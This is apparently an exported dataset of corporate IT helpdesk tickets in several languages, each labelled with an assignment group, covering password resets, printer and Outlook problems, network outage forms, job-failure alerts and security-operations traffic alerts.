hi dartvis + ",GRP_0 +主机不能开启 主机不能开启，电源灯正常，主机面板1、3指示灯常亮,GRP_48 +"打开office 2013显示是未经授权产品 打开outlook、ppt显示是未经授权产品,望解决。",GRP_48 +"network outage: russia - warehouse network is down since 6:30pm et on 08/30/2016 what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _________6:30pm et on 08/30/2016_____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____na____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____no______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___na____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"circuit outage at milan, it- divestiture since 8pm et 08/30. site is on primary. what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ___8pm et 08/30___________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __no_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____yes___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +login to mii issue. login to mii issue.,GRP_0 +"email & calendar on my phone _x000D_ +_x000D_ +received from: tjlizqgc.ngvwoukp@gmail.com_x000D_ +_x000D_ +i just received a replacement of my company supplied phone. i have set it up but need for it to be given access to my email, contacts and calendar. if this is not the right place to make this request please let me know. ",GRP_0 +"expense report + +received from: ytqhfmwi.itnakpmc@gmail.com + +my expense report will not submit to my manager, it only saves. please submit. this has happened on all my expense reports. + +[cid:image001.jpg@01d202d8.cf36c3f0] + + +michjnfyele l. jenhntyns +plant manager +ytqhfmwi.itnakpmc@gmail.com + + + +",GRP_68 +"folder access for jywvemun qngschtz from: nwfodmhc exurcwkm _x000D_ +sent: wednesday, august 31, 2016 2:28 am_x000D_ +to: naruedlk mpvhakdq_x000D_ +cc: jywvemun qngschtz; weszfyok fbadnjhu_x000D_ +subject: re: wg: br reporting - juni und juli-zahlen für zeitkonten und urlaubsstände fehlen_x000D_ +_x000D_ +hi simfghon,_x000D_ +_x000D_ +kindly note that there are multiple folders under \\eagcldaten\teams\br reporting\_x000D_ +_x000D_ +please mention which specific folder access has to be given._x000D_ +_x000D_ +",GRP_34 +password reset for xhaomnjl ctusaqpr password reset for xhaomnjl ctusaqpr,GRP_0 +password reset request password reset request ,GRP_0 +ticket update on inplant_855685 ticket update on inplant_855685,GRP_0 +can't add a note to an account on the mobile can't add a note to an account on the mobile. i wanted to be able to demonstrate this in a meeting tomorrow but this error is blocking the ability to add a note.,GRP_40 +"stock transfer pricing error - intercompnay inwarehouse_tool did not reverse they reversed the intercompany shipment but the intercompany inwarehouse_tool did not reverse. i ran the billing document tables and do not see the reversal there either._x000D_ +(see attached email)",GRP_10 +unable to print from dv28 unable to print from dv28,GRP_0 +account unlock account unlock,GRP_0 +"can you tell me the phone number for office 44 at the usx tower? + +received from: azxhejvq.fyemlavd@gmail.com + +mikhghytr wafglhdrhjop +sr. manager, global ethics and compliance programdntys + + + +",GRP_0 +login script pop up query login script pop up query,GRP_0 +ticket update on inplant_855239 ticket update on inplant_855239,GRP_0 +"job Job_1359 failed in job_scheduler at: 08/30/2016 15:01:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1359 failed in job_scheduler at: 08/30/2016 15:01:00",GRP_8 +install project 2013 for petrhyr install project 2013 for petrhyr,GRP_3 +vip2: printer setup vip2: printer setup,GRP_0 +erp SID_34 account locked erp SID_34 account locked ,GRP_0 +outlook not connected to server & having queries on connecting to external monitors outlook not connected to server & having queries on connecting to external monitors,GRP_0 +"printer new driver update needed name:kaguhxwo uoyipxqg +language: +browser:microsoft internet explorer +email:kaguhxwo.uoyipxqg@gmail.com +customer number: +telephone:172 +summary:printer new driver update needed",GRP_0 +"engineering tool locked out + +received from: nabjpdhy.bjuqwidt@gmail.com + +hello + +i changed my passwords and i tried to log onto engineering tool and it says too many failed attempted. see attached screenshot. + +stefyty hunt +prototype tech, product engineering + +nabjpdhy.bjuqwidt@gmail.com + + + + +",GRP_0 +"password reset to annette ic_x000D_ + welcome, our next available agent will be with you shortly..._x000D_ + interaction alerting agent._x000D_ + website visitor has joined the conversation_x000D_ +rakthyesh ramdntythanjesh_x000D_ + hi robhyertyj_x000D_ + ",GRP_0 +"windows asks to install driver and then won't allow me to print please complete all required questions below. _x000D_ +if not, it will be returned back to the gsc / requester to provide required information_x000D_ +_x000D_ + • gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart._x000D_ +_x000D_ + • printer name / make - model? (all printers - even local) _x000D_ + _x000D_ + • detailed description of the problem ? windows needs to download and install a software driver from the ??HostName_769 computer to print to cl05. (same message for all printers)_x000D_ +_x000D_ + • type of documents not printing? (email – excel – word…etc) _x000D_ + (inwarehouse_tool – delivery note – production order…etc) all documents will not print from any source_x000D_ +_x000D_ + • what system or application being used at time of the problem? outlook, excel, erp - all of them_x000D_ + • if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed? shutdown computer and printer. same error message._x000D_ +_x000D_ + • if erp system, which system? (ex SID_34 / SID_38 / hrp / plm) - all _x000D_ +_x000D_ + • if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?_x000D_ + what printer can it be rerouted too? _x000D_ +_x000D_ + • if document is not printing correctly, please scan copy of the document and attach to the ticketing_tool ticket.",GRP_0 +office 365 activation on corporate phone office 365 activation on corporate phone,GRP_0 +request to reset microsoft online services password for pvtiqgsh.orlzgfsx@gmail.com request to reset microsoft online services password for pvtiqgsh.orlzgfsx@gmail.com,GRP_0 +delete print jobs on prtqc4604 delete print jobs on prtqc4604,GRP_0 +"i changed my password and now cant sign into skype name:mikhghytr +language: +browser:microsoft internet explorer +email:vcyktjxp.uxdojvrq@gmail.com +customer number: +telephone:971 +summary:i changed my password and now cant sign into skype",GRP_0 +"eror message on refreshing the bex analysis. error atached. eror message on refreshing the bex analysis. error atached. + +phone: 724",GRP_9 +hr_tool queries for former employee : hanghdyle hr_tool queries for former employee : hanghdyle,GRP_0 +"re: ticket_no1538811::company center authorization _x000D_ +_x000D_ +received from: zdnqowag.cdtyonhw@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +this is approved._x000D_ +_x000D_ +",GRP_0 +ticket update for inplant_855685 ticket update for inplant_855685,GRP_0 +"request for temporary access to f.80 mass reversal _x000D_ +_x000D_ +received from: rhwsmefo.tvphyura@gmail.com_x000D_ +_x000D_ +hello. i need to request 1 week temporary access to f.80 in erp SID_34 to correct duplicate payments in erp. ",GRP_2 +problem with erp not updating orders after getting picked through warehouse_tool problem with erp not updating orders after getting picked through warehouse_tool,GRP_18 +ticket update for inplant_855671 ticket update for inplant_855671,GRP_0 +"outlook not launching outlook not launching._x000D_ +-connected to the user system using teamviewer._x000D_ +-reconfigured the mscrm._x000D_ +-caller confirmed that he is now able to see the emails on outlook._x000D_ +-issue resolved.",GRP_0 +ticket update regarding ticket_no1543461 from tqvpohwj tbkywpqz ticket update regarding ticket_no1543461 from tqvpohwj tbkywpqz,GRP_0 +need to map/add network printer need to map/add network printer,GRP_0 +"jerghjemiah brock, your windows password is expiring soon!!i need assistance resetting my password. jerghjemiah brock, your windows password is expiring soon!!i need assistance resetting my password. ",GRP_0 +unable to send email to hrscc team from external email address unable to send email to hrscc team from external email address ,GRP_26 +"all permissions for discounts has been removed for znq,zno,znr, zns need to be restored for the whole mti team all permissions for discounts has been removed for znq,zno,znr, zns need to be restored for the whole mti team",GRP_0 +unable to launch erp. logon balancing error unable to launch erp. logon balancing error,GRP_0 +ticket update on ticket_no0434826 ticket update on ticket_no0434826,GRP_0 +"please identify source user involved in processing deletion of terminated user from: ugyothfz ugrmkdhx +sent: tuesday, august 30, 2016 8:21 pm +to: zkevitua nesbfirjeerabhadrappa +cc: hnynhsth jsuyhwssad +subject: rjtnlocs fclswxkz (tanrgty) + +hello aghynil, + +request your assistance in identifying the source user who processed the deletion of the terminated user (in subject). let me know if you need a sn ticket to be created. ",GRP_39 +HostName_1007: volume consumed on c:\ disk is more than 85%. HostName_1007: volume consumed on c:\ disk is more than 85%.,GRP_12 +email delegation email delegation ,GRP_0 +rqxmaindept ad account keeps getting locked. please unlock. rqxmaindept ad account keeps getting locked. please unlock.,GRP_12 +"skype login issue :440- +summary:unable to log into skype after password change yesterday.",GRP_0 +unable to connect to vpn unable to connect to vpn,GRP_0 +outlook issue outlook issue ,GRP_0 +konto scghhnell reaktivieren- laptop ewel7212519 konto scghhnell reaktivieren- laptop ewel7212519,GRP_24 +"collaboration_platform emails _x000D_ +_x000D_ +received from: fgsmwvcp.uoxkzwes@gmail.com_x000D_ +_x000D_ +it:_x000D_ +mhtyike szumyhtulas is receiving the attached emails._x000D_ +these employees do not report to him. please advise why he is receiving these?_x000D_ +",GRP_16 +need to configure printer need to configure printer,GRP_0 +erp SID_34 password reset. erp SID_34 password reset.,GRP_0 +erp SID_34 password reset. erp SID_34 password reset.,GRP_0 +wifi guest account wifi guest account,GRP_0 +unable to boot laptop unable to boot laptop,GRP_0 +erp SID_34 password reset done. confirmed with user. erp SID_34 password reset done. confirmed with user.,GRP_0 +"job Job_1953b failed in job_scheduler at: 08/30/2016 10:18:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1953b failed in job_scheduler at: 08/30/2016 10:18:00",GRP_6 +need to setup exchange on corporate iphone need to setup exchange on corporate iphone,GRP_0 +erp SID_34 password reset done. confirmed with user. erp SID_34 password reset done. confirmed with user.,GRP_0 +inc1544821 - ticket update inc1544821 - ticket update,GRP_0 +unable to launch engineering_tool unable to launch engineering_tool,GRP_3 +"答复: ticket_no1538811::company center authorization + +received from: udzkgbwl.bgpedtqc@gmail.com + +hello rubiargty + +need access same as karghyuen. + + +best ",GRP_21 +problemas de configuração no quick quote as imagens não alteramdnty quando solicitadas dificultando assim a cotação de ferramdntyentas especiais.,GRP_62 +mapping network mapping network ,GRP_0 +"palghjmal1 is not able to run softland client through citrix qohfjpna exphkims (palghjmal1) is not able to run softland client through citrix. it shows an error when loading the application._x000D_ +please see attached error. i have uacyltoe hxgayczeed from other pc's and got same problem.",GRP_12 +install shop_floor_app on my machine install shop_floor_app on my machine,GRP_3 +outlook cache email query. outlook cache email query.,GRP_0 +"new cpp id can not request initiative. see image attached cphlme01_x000D_ +",GRP_21 +"re: ticket_no1538811::company center authorization + +received from: rubiargty.fatgrtyma@company.com + +hello cathytyma, + +update the position title as per request. regarding access please provide copy access person's name. + + +",GRP_0 +"答复: ticket_no1538811::company center authorization _x000D_ +_x000D_ +received from: udzkgbwl.bgpedtqc@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +i'm still waiting for problem resolve. please advise who's approval you still need, or when i can have access._x000D_ +_x000D_ +",GRP_0 +whenever i open an email with a jpg attachement i always get a security warning> whenever i open an email with a jpg attachement i always get a security warning> ,GRP_3 +"all of the presentations posted for drive this week are not appearing on the approval page. all of the presentations posted for drive this week are not appearing on the approval page. tomashtgd mchectg likes to use the approval page to navigate around the presentations, so i'm sure he will notice it is not working correctly._x000D_ +_x000D_ +see attached file for details and urls.",GRP_16 +"i can not print. it is asking me to install a print driver i can not print. it is asking me to install a print driver_x000D_ +_x000D_ +i can not print. it is asking me to install a print driver_x000D_ +i did with nothing happened",GRP_0 +reset passwords for cpmaidhj elbaqmtp using password_management_tool password reset. the,GRP_17 +"erp salary statement my lauacyltoe hxgaycze salary statement was on 6/30/2016. i am continuing to get paychecks, just unable to see salary statement in erp. have been going through the hub._x000D_ +_x000D_ +",GRP_52 +"s&op + +received from: uyrpdvoq.mbzevtcx@gmail.com + +could you please reset my password + + + +uyrpdvoq mbzevtcx +sales manager earthworks european served area – north + +uyrpdvoq.mbzevtcx@gmail.com + + +company infrastructure gmbh +geschäftsführer: phvkowml azbtkqwx und naruedlk mpvhakdq + +www.company.com< + + +",GRP_0 +"ess access for user ghaltiek lsuepvyx (yesilc) ess access for user ghaltiek lsuepvyx. please find error message attached. + +phone: 0157",GRP_2 +"'repeat outbound connection for 135/tcp user id dalgtylam place in quarantine_x000D_ +_x000D_ +we are seeing your 80.71.06.702/company-european-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from edml8111119/10.16.143.33 to port 135/tcp (remote procedure call (rpc)) of external host 31.199.53.10. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code. we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. 1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call) 2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)",GRP_69 +printer driver update printer driver update,GRP_0 +erp training queries erp training queries ,GRP_0 +"problem with office365.com + +received from: zywoxerf.paqxtrfk@gmail.com + +dear help desk: +my office365 always gives me a blank page, see below for a screen shot. please help. + +[cid:image001.png@01d20292.c6465901] + +x. jdamieul fandyhgg + +phd, us +senior staff engineer +zywoxerf.paqxtrfk@gmail.com +",GRP_0 +"repeat outbound connection for 135/tcp user zhengdr placed in palo_virus_quarantine_x000D_ +_x000D_ +incident overview_x000D_ +=========================_x000D_ +we are seeing your 54.96.80.216/att-apac-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from aenl8811417/12.41.82.81268 to port 135/tcp (remote procedure call (rpc)) of external host 180.168.41.175. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code._x000D_ +_x000D_ +we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. _x000D_ +_x000D_ +1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)_x000D_ +2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)",GRP_30 +printer configuration printer configuration ,GRP_0 +erp SID_34 password reset. erp SID_34 password reset done. confirmed with user.,GRP_0 +"job Job_1314 failed in job_scheduler at: 08/30/2016 08:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1314 failed in job_scheduler at: 08/30/2016 08:20:00",GRP_9 +logon error in erp SID_1 logon error in erp SID_1,GRP_0 +"circuit outage:usa, nv - divestiture site :secondary vpn circuit is down since at 8:04 am et on 08/30.primary is up what type of outage: _____network _x____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______8:04 am et on 08/30________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __yes______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job SID_11_uacyltoe hxgaycze failed in job_scheduler at: 08/30/2016 07:52:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_11_uacyltoe hxgaycze failed in job_scheduler at: 08/30/2016 07:52:00",GRP_5 +"sn access _x000D_ +_x000D_ +received from: rdfjsawg.zpmxgdcw@gmail.com_x000D_ +_x000D_ +please add user vvkatts to ticketing_tool erp finance group._x000D_ +_x000D_ +let me know if you have any questions._x000D_ +_x000D_ +_x000D_ +",GRP_0 +outlook not loading outlook not loading ,GRP_0 +"can't access expense reporting through employee self service when trying to enter the expense reporting tab to create a new expense report, a window pops up and says critical runtime error and i can't access the expense reporting page. other aspects of my expense reporting page in employee self service don't work as well. ",GRP_2 +"windows printing issues / need driver installed on every printer but it does not complete successfully. windows printing issues / need driver installed on every printer but it does not complete successfully._x000D_ +print server HostName_769.",GRP_12 + HostName_145: volume comsumed on /dev/hd3 is more than 85%. HostName_145: volume comsumed on /dev/hd3 is more than 85%.,GRP_47 +erp SID_34 password reset. erp SID_34 password reset.,GRP_0 +emails are not working emails are not working,GRP_0 +impact award password reset. impact award password reset.,GRP_0 +password reset request. password reset request.,GRP_0 +password reset through password_management_tool password manager password reset through password_management_tool password manager,GRP_0 +ad account lock out ad account lock out ,GRP_0 +account locked out in ad account locked out in ad,GRP_0 +"telephony_software 2016 r2 - please can you reset & release my password ? _x000D_ +_x000D_ +received from: hupnceij.hyozjakb@gmail.com_x000D_ +_x000D_ +hello all,_x000D_ +how are you?_x000D_ +_x000D_ +telephony_software 2016 r2 - please can you reset & release my password ?_x000D_ +_x000D_ +sincères salutations, best ",GRP_7 +"microsoft outlook not work - user bhqvklgc vscdzjhg after change the password using password_management_tool, outlook not work. +we've deleted the profiles and reconfigured outlook again, but is asking the password continuously. +user: bhqvklgc vscdzjhg +e-mail: bhqvklgc.vscdzjhg@gmail.com +user id: marrthyu +computer name: ekbl8111197 +",GRP_0 +ad account locked out ad account locked out ,GRP_0 +outlook fails to open. outlook fails to open.,GRP_0 +circuit outage : company-eu-gbr-united kingdom-dmvpn-1921-rtr01.lookup located at united kingdom is down. circuit outage : company-eu-gbr-united kingdom-dmvpn-1921-rtr01.lookup located at united kingdom went down at 05:13 am et on 08/30.,GRP_8 +HostName_1010: erpstartsrv.exe service is down. HostName_1010: erpstartsrv.exe service is down.,GRP_14 +erp SID_37 password reset and unlock account request erp SID_37 password reset and unlock account request ,GRP_0 +"new password for erp SID_37 (bex) needed _x000D_ +_x000D_ +received from: ptyxefvk.fhazbrwn@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +could you please provide me a new password for bex?_x000D_ +_x000D_ +",GRP_0 +"password expires _x000D_ +_x000D_ +received from: loqdtrfn.apxmsjkc@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +during my holidays my password expires and i couldn't change this._x000D_ +",GRP_0 +"job HostName_1019fail_vig_uacyltoe hxgaycze failed in job_scheduler at: 08/30/2016 05:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019fail_vig_uacyltoe hxgaycze failed in job_scheduler at: 08/30/2016 05:02:00",GRP_8 +"erp printers ng20 and ng 43 are printing on both sides (erp documents). needs to be changed to single side printing. erp printers ng20 and ng 43 are printing on both sides (erp documents). needs to be changed to single side printing._x000D_ +users: _x000D_ +mxwibrtg qbsmonwv_x000D_ +cwfzldts dlmukhyn_x000D_ +uxpytsdk kyamilds_x000D_ +_x000D_ +",GRP_19 +erp SID_34 account unlock. erp SID_34 account unlock.,GRP_0 +setup new ws \strahlraum \xaqzisrk ahbgjrqz setup new ws \strahlraum \xaqzisrk ahbgjrqz,GRP_24 +setup new ws \strahlraum \ujtmipzv cwdzunxs setup new ws \strahlraum \ujtmipzv cwdzunxs,GRP_24 +setup new ws \strahlraum \fyedqgzt jdqvuhlr setup new ws \strahlraum \fyedqgzt jdqvuhlr,GRP_24 +"vfx3, 4 interco inwarehouse_tools cannot be processed error: no number range number has been recorded for billing document xxx_x000D_ +_x000D_ +inwarehouse_tools (all sales org 1268)_x000D_ +0340093016_x000D_ +9239982988_x000D_ +0340006052_x000D_ +9239997472_x000D_ +_x000D_ +",GRP_13 +der drucker druckt nicht \hp 4200 \rfvmeyho qgtxjsdc der drucker druckt nicht \hp 4200 \rfvmeyho qgtxjsdc,GRP_24 +setup new ws\ rechner alte schmiede \nfayqjhg kyswcpei setup new ws\ rechner alte schmiede \nfayqjhg kyswcpei,GRP_24 +reset passwords for bxeagsmt zrwdgsco using password_management_tool password reset. the,GRP_17 +"unable to print company label _x000D_ +_x000D_ +received from: rxoynvgi.ntgdsehl@gmail.com_x000D_ +_x000D_ +hi it team_x000D_ +_x000D_ +kindly please assist as we unable to print company label._x000D_ +no error message prompted, nothing print out from zebra label printer. ",GRP_0 +windows account locked windows account locked ,GRP_0 +"tablet - dell 7350 - 电脑播放音频文件没有声音。 please provide details of the issue._x000D_ +电脑播放音频文件没有声音，skype也没有声音。",GRP_31 +"please, reset password erp SID_34 production name:shathyra +language: +browser:microsoft internet explorer +email:gvktqfrj.uawjnfel@gmail.com +customer number: +telephone:+390 +summary:please, reset password erp SID_34 production +user grargtzzt",GRP_0 +label printer network lost label printer network lost ,GRP_31 +iphone上的skype不能登录不能参加会议，请转给小贺。 iphone上的skype不能登录不能参加会议，请转给小贺。,GRP_30 +vpn不能使用，请转给小贺 vpn不能使用，请转给小贺,GRP_0 +not able to enter/ select account asignment category see attached screenshot,GRP_29 +"druckerzuordnung zum disponenten _x000D_ +_x000D_ +received from: icnjlzas.cvphuknj@gmail.com_x000D_ +_x000D_ +hallo,_x000D_ +_x000D_ +weil unser erp-drucker rn33 defekt ist, nutzen wir übergangsweise den rn26._x000D_ +würden sie bitte deshalb alle disponenten im werk plant_223, die momentan dem rn33 zugordnet sind, auf rn26 ändern?_x000D_ +_x000D_ +_x000D_ +--_x000D_ +mit freundlichen grüßen / kind ",GRP_5 +"job HostName_1019fail failed in job_scheduler at: 08/30/2016 02:03:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019fail failed in job_scheduler at: 08/30/2016 02:03:00",GRP_8 +"receiving mails from unknown _x000D_ +_x000D_ +received from: wdybmizf.ekqgpaus@gmail.com_x000D_ +_x000D_ +hello ,_x000D_ + i am receiving some mails from uperformsystem@ancile.com ,is that a spam mail ?if not , why i am receiving this mails ? please provide the details ._x000D_ +_x000D_ +[cid:image001.png@01d202af.93870f00]_x000D_ +[cid:image002.png@01d202af.93870f00]_x000D_ +_x000D_ +best ",GRP_0 +"job bkwin_HostName_768_inc failed in job_scheduler at: 08/30/2016 01:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_HostName_768_inc failed in job_scheduler at: 08/30/2016 01:30:00",GRP_8 +"habe gestern mein passwort geändert. nun verbindet sich outlook nicht mit axeclkro.snfmerdb@gmail.com. kann anmeldetaten eingeben, aber fenster kommt immer wieder.... anmeldung gelingt nicht._x000D_ +heute nochmal passwort geändert. gleiches problem._x000D_ +kann outlook nicht nutzen und keine mails bearbeiten._x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"unable to login to shop floor system unable to login to shop floor system _x000D_ +_x000D_ +error:- authentication failed ",GRP_0 +"job pp_EU_tool_netch_ap1 failed in job_scheduler at: 08/30/2016 01:10:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap1 failed in job_scheduler at: 08/30/2016 01:10:00",GRP_8 +account locked in erp SID_34 account locked in erp SID_34,GRP_0 +i'm not able to login to skype communicator i'm not able to login to skype communicator,GRP_0 +"please help me to set up skype conference calling feature on my company smart phone - i-phone name:nthryitin +language: +browser:netscape +email:dqwhpjxy.pozjxbey@gmail.com +customer number: +telephone:+760 +summary:please help me to set up skype conference calling feature on my company smart phone - i-phone",GRP_0 +"engineering tool quick search problem engineering tool quick search is not working ,it taking too much time to load the data. please sort out the issue aerp ",GRP_11 +"the HostName_80 network connection lost at 9:05 am in apac time , the connection lost has been going on 10 minutes the HostName_80 connection lost at 9:05 am , the connection has been going on 10 minutes ,could you check the reason ,",GRP_4 +"users are unable to ""open engg work bench unable to open engineering tool +all user in india plant (150 people) +no error message +contact no:- 221",GRP_25 +erp SID_34 account locked erp SID_34 account locked ,GRP_0 +"job Job_549 failed in job_scheduler at: 08/29/2016 23:18:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_549 failed in job_scheduler at: 08/29/2016 23:18:00",GRP_8 +"job Job_394 failed in job_scheduler at: 08/29/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_394 failed in job_scheduler at: 08/29/2016 23:00:00",GRP_47 +"job pp_EU_tool_netch_keheu2 failed in job_scheduler at: 08/29/2016 22:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_keheu2 failed in job_scheduler at: 08/29/2016 22:06:00",GRP_8 +laptop 从桌子上面摔下，外壳摔裂，现在不能开机。 laptop 从桌子上面摔下，外壳摔裂，现在不能开机。,GRP_31 +ana pethrywrs call conference to hr support ana pethrywrs call conference to hr support,GRP_0 +"wireless outage again-taiwan 0830 _x000D_ +_x000D_ +received from: ticqvhal.vgokzesi@gmail.com_x000D_ +_x000D_ +hello~_x000D_ +_x000D_ +wireless(companysecure) outage of taiwan._x000D_ +please help~_x000D_ +_x000D_ +",GRP_4 +邮箱登录不了 昨天提示更改密码，改好后可以登录，今天登录不了。,GRP_30 +"erp account password reset ic + welcome, our next available agent will be with you shortly... + interaction alerting agent. + website visitor has joined the conversation +rakthyesh ramdntythanjesh + hi vhihrty +sndaofyw jetcxpda + hello +rakthyesh ramdntythanjesh + ",GRP_0 +"job bk_hana_SID_22_os_dly_dp failed in job_scheduler at: 08/29/2016 19:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bk_hana_SID_22_os_dly_dp failed in job_scheduler at: 08/29/2016 19:36:00",GRP_8 +"skype not working ic_x000D_ + welcome, our next available agent will be with you shortly..._x000D_ + interaction alerting agent._x000D_ + agent did not answer. reassigning your interaction to another agent._x000D_ + interaction alerting agent._x000D_ + website visitor has joined the conversation_x000D_ +rakthyesh ramdntythanjesh_x000D_ + hi shaungtyr_x000D_ +gwptzvxm rhozsfty_x000D_ + hi_x000D_ +rakthyesh ramdntythanjesh_x000D_ + ",GRP_0 +"unable to send mails ic_x000D_ + welcome, our next available agent will be with you shortly..._x000D_ + interaction alerting agent._x000D_ + website visitor has joined the conversation_x000D_ +upcgxthj lnsvemxy_x000D_ + hi, i cant send emails_x000D_ +rakthyesh ramdntythanjesh_x000D_ + hi johthryu_x000D_ + ",GRP_0 +"job bk_hana_SID_61_erp_wky_dp failed in job_scheduler at: 08/29/2016 17:51:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bk_hana_SID_61_erp_wky_dp failed in job_scheduler at: 08/29/2016 17:51:00",GRP_5 +s1 to k1 license- ujtmipzv.cwdzunxs@gmail.com s1 to k1 license,GRP_34 +guest wifi access for lefrte eafrtkin guest wifi access for lefrte eafrtkin,GRP_0 +unable to hear any audio from bluetooth headset through skype call unable to hear any audio from bluetooth headset through skype call,GRP_0 +pc restarting randomly. appears to be a possble os issue and/or virus pc restarting randomly. appears to be a possble os issue and/or virus,GRP_3 +ticket update on inplant_855272 ticket update on inplant_855272,GRP_0 +"vsp computer asset returns + +received from: owhuxbnf.sxbgyrou@gmail.com + +good afternoon, + +field sales terminated employees - +doug bise and lance kappel returned their company computer and phone to me at the usx office. they are sitting in boxes next to my desk. please arrange to pick them up or let me know how to return them. + + +owhuxbnf sxbgyrou phr +hr manager, infrastructure +owhuxbnf.sxbgyrou@gmail.com + + + + +",GRP_3 +"would like added to the distribution list for job hr330. xszoedmc.gmhkdsnw@gmail.com 724 usa i was receiving job hr301a every monday morning up through and including monday, august 15 (see attached). i did not receive a report on 8/22 nor today. today a co-worker advised that report hr330 is now being issued. hr330 is needed to maintain usage of the purchasing contract management system. not sure why i was not added to the new job when it replaced hr301a. it was suggested i open this ticket to get on the distribution list for job hr330._x000D_ +",GRP_5 +user wants to update passwords using password manager link user wants to update passwords using password manager link,GRP_0 +ticket update on inplant_854272 ticket update on inplant_854272,GRP_0 +ticket update on inplant_855239 